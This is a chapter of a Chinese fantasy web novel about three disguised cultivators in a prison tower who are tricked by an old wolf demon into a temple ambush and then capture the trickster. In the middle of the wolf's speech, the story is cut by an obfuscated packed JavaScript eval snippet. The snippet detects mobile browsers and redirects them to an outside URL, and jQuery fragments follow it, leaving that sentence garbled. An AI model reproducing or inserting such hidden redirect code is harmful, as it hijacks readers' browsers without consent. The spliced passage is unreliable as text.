此时,连续的叹气声隐约传入他们的耳中。 三人对视一眼,一齐往声音源头走去。毕竟他们对荒林完全陌生,不如找个“人”问一问。 一路上焦黑的枯木伸着扭曲嶙峋的枝丫,像是伸着狰狞的爪呻吟哀嚎,这个地方就像燃尽之后的地狱烈火图,在烈火里挣扎的人人鬼鬼定格在挣扎痛苦的姿态,而光洁的皮和华美的衣都已经在熊熊烈火中燃烧殆尽,只剩下赤裸裸的临死前的挣扎。 走了半晌,声音越来越近,眼前陡然出现了一条溪水,溪上同样灰雾弥漫,只能看见周围四五米的景象。 溪边的大石头上趴着一只狼妖,伸着爪子打捞着什么,看样子像是毫无所获,正在叹气。 他大约有一个人形,但是属于狼的特征也很明显,裸露出来的手被着黑色的毛,破破烂烂的裤管下是弓起来的两条腿。 一丛乌糟糟的头发凌乱地笼在脸上,盖住了半张脸,胡须盖住了另外半张脸,只露出一双灰色的眼睛,带着浓重的疲惫。 这是一条老狼,因为老而动一动就疲惫不堪的老狼。 老狼看见他们,眼睛里浮现警惕,“你们是新来的?” 李寒筝举起双手,露出人畜无害的笑容:“没错,老哥,我们都是刚被关进来的,想找你问问路。” 老狼防备地看着他们。 三人都撕下了隐身符,只剩下易容符,在老狼眼里呈现出来的就是——李寒筝是憨厚老实的矮冬瓜,洛意是人狠话不多的刀疤脸,袁期是肌肉虬结的黑脸壮汉。 一整个□□团队。 老狼谨慎问道:“你们是怎么进来的?” 李寒筝苦笑道:“唉,老哥,说出来你可能不信,咱哥仨都是本本分分的好妖啊,就是收点过路费,来往路人吓一吓,捡点鸡鸭鱼肉吃,那谢家好生不讲理,将我们关到此处。” 老狼眼中的防备淡了许多:“唉,谢家确实蛮横,好些妖都只是做些小偷小摸的事情,竟然也被关到了这里。我当初也是饿极,抢了孩童的一只鸡吃,唉……真是命苦。” 有共同的悲痛往事,老狼明显放下了警惕心,对于三个人凑近并且盘腿坐下的行为也没有抵触。 这是李寒筝三人的策略。 谢家将妖兽邪祟关入慈融塔内必定不是一朝一夕,因此这里应该聚集着很多被谢家关押的囚犯。他们需要伪装成因为干坏事而进入慈融塔的囚犯,而且表现得人畜无害一点,以获取对方信任。 李寒筝道:“老哥,我们初来乍到,您给我们讲讲这里的规矩呗。” 老狼开口欲言,先叹了口气:“这个地方,唉,就是活生生的人间炼狱,三位小友如果只是因为过道打劫而被关押在此,真真是倒霉至极,一辈子都断送在这里了。” 李寒筝撑着下巴:“老哥,你这话怎么说?” 老狼歪在溪边的大石头上,相邻着另一块大石头,两块石头中间有一条半臂宽的缝,老狼俯身从缝里掏出来一个网。 不是平常所见到的渔网,而是用藤蔓编出来的,网口有些奇特,往里倒伸着一些三角形薄木板,薄木板的顶端削尖。 “三位请看,”老狼拾了一根树枝往网口里戳,很轻易地戳进去了,然而拿出来的时候却被那些削尖的薄木板给卡住,“这是我弄的一个小机关,用来捕些鱼吃,这个地方啊,就跟这个机关一样,进来容易,出去的话,却难如登天。” “原来如此,”李寒筝做出悲伤的样子,“那我岂不是要在这里待一辈子了?” 老狼笑起来,笑得沧桑:“一辈子也很短,进来这里的,都活不长,因为啊,这里会下雪。” “雪?” “这个地方每隔一段时间就要下上一场雪,算起来,下一场雪就在最近几天,你们真是来得不巧,一进来就要碰上雪。” 老狼连连叹息:“若是碰着雪……没有任何法子,雪花平等地落在每一个生灵的脑袋上,唉,大家都得死,不过是早死晚死罢了。” 三人对视了一眼,看来这里的“雪”很可怕,会收割生命。 洛意问道:“‘雪’是什么?” 老狼道:“这是谢家的地盘,谢家善阵,这个地方就有一个大阵,所有囚犯都出不去,就算是死了,你的三魂七魄照样被困在这里,我不是特别懂这些,不过有人说,这雪,就是那些死去的亡魂怨念,他们死得凄惨,又无法离开,便化作大雪去索别人的命。” 洛意若有所思,那么这样看来,谢家是搞了一个生生不息的循环阵,就像一个大熔炉,所有作案的囚徒都锁进这里面,被烈火炙烤直至灰飞烟灭,而他们也作为木柴支撑着火焰的燃烧,好让其他囚犯灰飞烟灭。 因而,囚犯即是釜中的汤,也是釜下的柴薪,就如此这般燃烧着循环下去。 铺垫得差不多,情绪也烘托上来了,在这个前途茫茫绝望而悲情的时候,正适合开始表演。 李寒筝掐了自己一把,然后捂着脸呜呜咽咽:“老哥,我在外头听说这慈融塔里有不少宝贝,本来还开心呢,怎么是这么个鬼地方,你说这可怎么办呀……我的命真苦哇……” 洛意维持人设,用眼神传达悲伤,袁期则猛汉垂泪,拍了拍李寒筝的肩膀,看着老狼,悲伤道:“老哥,就没有别的方法了吗?我们兄弟仨还年轻,一时走了岔道,不想一辈子搭在这里啊!” 老狼叹了口气:“小友别哭,有倒是有一个,但是太虚无缥缈了,说出来教你们失望。” 李寒筝从指缝里露出眼睛:“老哥你就说吧,再失望也比绝望好。” “罢了罢了,”老狼道:“你们可听说过谢序宁?” “当然听过,这……她不是死了吗?” “死是死了,这慈融塔就是她活着的时候建的,”老狼犹豫了下,压低了声音:“但是听说她叛出谢家的时候,被谢家老祖断了半臂,那半根手臂,就落在了慈融塔。” “你们也知道的,这谢序宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396732|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,获得了天衍术·钥匙,号称无门不可开,无阵不可解,无处不可去。若是能得到这遗落的半根手臂,说不准就能出去了,但是谁也没有见过,这么些年,也没人逃出去过,都是说不准的事。” 李寒筝于是哭得更大声了:“那我……我岂不是要在这里待到死?我家里还有如花似玉贤惠温柔的媳妇等我回去哩!” 袁期想了想段梧声高冷的样子,这和温柔贤惠有毛关系,他嘴角抽了抽,拿出毕生的演技:“可怜我弟媳要独守空房了……老哥,就没有别人知道点什么吗?” 老狼为难地看了眼大哭的李寒筝,道:“好了好了,小友莫哭,我说便是。” “沿着这条溪往上走大约十里,有一个破庙,庙里住着好些妖怪,互相支撑着在这个地方活下去,但是有些排外,毕竟新人不知底细。” 李寒筝抽了抽鼻子,瓮声瓮气道:“老哥,你看看我们,哪里像穷凶极恶之妖,您就带我们过去吧。” 老狼有些犹豫。 袁期便从衣襟里掏出一瓶丹药,塞进老狼手里,情真意切道:“老哥,都是些小小心意,谢家搜查的时候没认真,我们身上都带了些保命的东西,就是想和大家交个朋友,让日子好过一些。” 老狼将瓶塞起开闻了一下,终于是从石头上起身,“三位小友都面善,既然如此,就破例带几位过去。” * 这是一条平凡的小溪,平凡得如同随处可见的溪水,并无二样,除了灰色的雾气阴冷且潮湿,除了水里时不时出现顺流而下的残肢内脏,被溪水冲刷着卡在岸边的石子堆里,泡的浮肿发白,然后被闻着味而来的小怪小妖给分食吃掉。 逆着小溪往上十里,破庙的轮廓显现在浓雾中,狰狞出一个木材腐朽的檐角,底下挂着一颗铜铃,铜铃中的不是铃舌,而是一颗面目痛苦毫无生机的头颅,不远处有一口枯井。 此刻破庙之内,正中的火堆哔啵作响,火舌扒着木块舔舐,也舔舐着铁架上串成一串的肉,明明暗暗的火光映照出破庙内一群凶神恶煞的囚犯。 他们正在哄笑,这是他们招待新人的方式,今夜被放进来的囚犯就是新人,他们招待新人的方式很热情,扒皮抽骨,串起来挂在火堆上烤,给予他们家一般的温暖和热闹。 新人的到来总是令人欢喜的,也让整个破庙蓬荜生辉,为了礼貌,老人们可以按下从前的恩怨和过往,好好地、热情地、用他们温暖的肠道和胃来招待新人。 真是非常融洽且和谐的一幕。 与此同时,清越的铃声响起,人头在铜铃中晃荡着撞出声音。这代表着客人到了。 坐在破庙正位——也就是正对门靠近火堆的地方——有几十年资历、外号“绝命刀”的男人,缓缓起身,手动拾掇出一个善良的微笑。 毫无所察的李寒筝三人跟着老狼踏入破庙的小院中。 绝命刀微笑着迎上前。 洛意推开了破庙的门。 李寒筝热情地握住了绝命刀的手。 时间在这一秒拉得很长,风声停滞,浓雾粘稠,仿佛沼泽翻涌。 绝命刀的笑意猛地一坠,背在身后的右爪拔出来,带出五道寒光劈头而下。 李寒筝的表情由疑惑定格在惊恐,不由自主张大了嘴。 袁期伸出乌木扇格挡。 洛意一把捏住李寒筝的肩膀,猛地往身后一丢。 满屋的妖妖怪怪提着家伙事扑了上来。 一场混战就此拉开序幕。 李寒筝跌在地上,摇了摇脑袋,看着眼前打成一团的人人怪怪,歪着头笑了下。 哦吼,阴沟翻船,看来这是被老狼给买了。 有意思。 54. 不枉(15) 老狼没有溜出院门,而是躲在院角的大树上,横斜扭曲的乱枝和浓雾挡住了他的身形,只露出一只眼睛,旁观着浓雾中传来的激烈打斗声。 他手里颠着药瓶,眼珠子愉悦地转了一圈,疲惫也没有了,气也不喘了,腰背挺得笔直,坑别人的东西对他而言具有提神壮气的神药功效。 这根本就不是一只动一动就气喘吁吁的老狼,而是个奸滑狡诈的小偷。 老狼忍不住露出点得意的笑容,哼着曲低头打量着手里做工精致质地优良的药瓶。 三个笨蛋,自作聪明的套话,被买了都不知道。 这是老狼活命的买卖。 在这荒原里,要么有实力,要么够狡诈,不然根本就活不下去,老狼没有什么能力,只有一颗好脑子,整日候在新人入口的附近,装成憨厚老实的模样,用谢序宁手骨的消息钓,一钓一个准。 那些急功近利的新人就像溪水里的笨鱼儿,迫不及待地就钻进去了,浑然不知等在前面的是什么。 老狼叹息一声,胸膛里的良心有一点点痛,但也不是很多,更多的是可惜,可惜他太弱,从新人身上扒下来的东西,他只能喝口汤,都是那些无赖得了大头。 好在他也不是个傻子,小偷小摸十几年下来,也弄到了不少好东西。 他捂着胸口转身准备遛,却只转到了一半。 因为他看见了一个花样精致的储物囊,就挂在那个矮胖冬瓜的身上。 矮胖冬瓜的两个兄弟在破庙里打,他则悠悠闲闲地在破庙外面揣着手旁观,还非常有闲心地往枯井里砸了一块小石子,储物囊就显眼地挂在腰间,晃来晃去,老狼的眼珠子也跟着晃来晃去。 以他多年老辣的目光来看,这种档次的储物囊,里头一定装着不少好东西。 老狼哼了一声。 可恶的矮胖冬瓜,如果是他,一定要将这储物囊供起来,晨昏省定,样样不落,每日都得擦上一遍。 没想到这呆头呆脑演技拙劣的三兄弟身上的好东西还不少。 老狼的眼珠子又转了一圈。 贪婪是鱼饵,但是每一条鱼都想要吃,毕竟在吃到之前,没有任何一条鱼会认为这是鱼饵,他也不例外。 老狼悄无声息地贴着树干滑下来,一步一步靠近李寒筝。 此时的破庙就像一个破破烂烂的铁匣子,装着好些铁钉,一双巨手握住这个铁匣子,拼命地晃,晃出连绵不绝的声音,叮叮当当响个没完,不时从破口中晃出好些断肢残腿和尖叫声。 老狼的眼珠子几乎要钻出眼眶,一圈一圈缠在李寒筝的储物囊上。他吸溜了一下口水,伸出两只手,锋利的指甲勾住吊着储物囊的系绳,接下来只要轻轻一勾,系绳就会轻而易举地断掉,储物囊就神不知鬼不觉地到了他的手里。 老狼脑海里预想着那个场景,厚厚胡须掩盖下的嘴唇几乎咧到耳朵根。 此时,一只手冷不丁地抓住了他的手腕。 老狼的心一颤,抬起了头。 李寒筝歪着头对着他笑了下:“老哥,你这是干嘛呢?” 老狼下意识挤出一个笑容,赔着脸笑。 然而下一秒他就开始唾弃自己的哈巴劲儿,对着谁都下意识的跪舔。 因为他已经意识到这就是个简单的凡人,没什么好害怕的。 他决心硬气一把。 此时,变故陡生。 一个气急败坏的树妖无偏差地发动攻击,一条藤蔓正正好往李寒筝的方向挥去。 下一秒,老狼被李寒筝死死拽着手臂飞上了天,而后“咚”地一声,掉入了枯井。 老狼:“……” 十几年老奸巨猾从未失手的老狼,在这一天,迎来了他的第一次失败。 * 洛意拧了拧手腕,而后将绝命刀的刀掰成了两半,咣当一声丢在地上,踩着绝命刀的脸:“叫叫叫,不知道有多厉害,再跟我叫呢!” 鼻青脸肿的绝命刀:“……呜呜呜……” 袁期舒了口气,“总算是打完了。” 他环顾四周,又补上了一句:“这个庙也拆得差不多了。” 一场打架如同浩劫洗礼,破庙只剩下了“破”,已经没有庙了,满地都是哀嚎的囚犯,本来就长得不太美观,现在就更不美观了。 洛意还剑入鞘,“李寒筝,你来审问一下。” 然而回应她的只有呜呜咽咽的风声以及满地的哀嚎。 洛意疑惑地嗯了一声,环视一周,最后看向了袁期:“人呢?” 袁期同样环顾四周,而后谨慎地提出了一个可能:“李寒筝可能、也许、大概、好像……丢了。” 洛意:“……” 洛意:“?” 洛意:“!” “快点找啊!” * “滴答……滴答……” 老狼艰难地掀开一条眼缝,又虚弱地垂下。 好像是某处岩洞,阴冷潮湿,光线黯淡,水珠顺着凸出的石柱缓缓往下滴。 老狼的意识一点一点回笼,想起自己为什么在这,就恨得咬牙切齿,在心中咒恨着那个矮胖冬瓜。 他再次掀开一条眼缝。 或许是心有所思的缘故,老狼竟然看见矮胖冬瓜一手撑着他那大饼子脸,对老狼露出微笑。 ……幻觉!一定是幻觉! 老狼再次闭上眼。 然而却听见一个熟悉的声音道:“不是幻觉哦,就是我。” 老狼顿时就是一个仰卧起坐……没蹿起来,老狼这才发现,他被人五花大绑,捆得就像蒸笼里的螃蟹。 老狼在地上蛄蛹着,双颊涨得通红,但因为黑,所以红的不明显,“这不合理,你不是一个凡人吗?怎么可能醒的比我还早!” 李寒筝托着腮,笑眯眯道:“嗯……可能是某个人天天要我喝十全大补汤还有枸杞参片吧。” 老狼觉得很羞耻很挫败,将头埋在地上,有点不愿意面对现实。 李寒筝便盘腿坐在地上:“把东西交出来吧。” 老狼一撒手,药瓶骨碌碌地滚了出来。 李寒筝 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李寒筝拖长了声音,在小姑娘要杀人的目光里吐出一句话:“因为谢序宁的手骨在你这里。” 小姑娘拧过头背着她,“你在胡说八道。” “我可不是胡说八道,关于这个判断,我至少有两个理由。” 李寒筝伸出两根手指:“第一,你呢,小小年纪深谙骗人之法,没说假话,但是也没把真话说全,这个地方会下‘雪’,‘雪’很恐怖,面对这样的威胁,团结一致当然是一个好方法,但是,对于这些犯事的恶人而言,吞噬别人强壮自己才是更好的选择。” “在此前提下,你仅凭欺骗新人当人贩子就在这个地方活下来,显然还不够。” 小姑娘没吭声。 李寒筝弯下一根手指:“第二,我们明明掉进了枯井里,那个枯井不深,我丢了一个石子进去,很快就落地一响,然而我们却在这个岩洞中醒过来,证明枯井里有一个用于障眼的阵法,我不认为你能够解阵,所以只能是你身上有能够解阵的东西。” 小姑娘炸了:“所以你一直在骗我!从第一眼见面你就在骗我!你这个变态!!!” 李寒筝被吼得耳膜疼,揉了揉耳朵,叹了口气,“首先,咱都是骗子,就别计较这个了。其次,相信我,我家里真的有一个如花似玉温柔贤惠的大美人等着我,我真的不是变态。” 小姑娘哼了一声,以示藐视。 李寒筝只好撕下易容符,蹲在了小姑娘面前:“看一眼我呢。” 小姑娘哼了一声,于是硬气地睁开眼,然后睁大了眼:“你你你你……你怎么长得这么好看……这么好看的人怎么也干坏事……” 李寒筝耐心道:“你叫什么名字?” 小姑娘抿了抿唇:“茶小羽。” “好的,茶小羽,”李寒筝打了一个响指,绑在茶小羽身上的绳索应声而开,李寒筝凝视着茶小羽的眼睛:“我们来做一个交易吧。”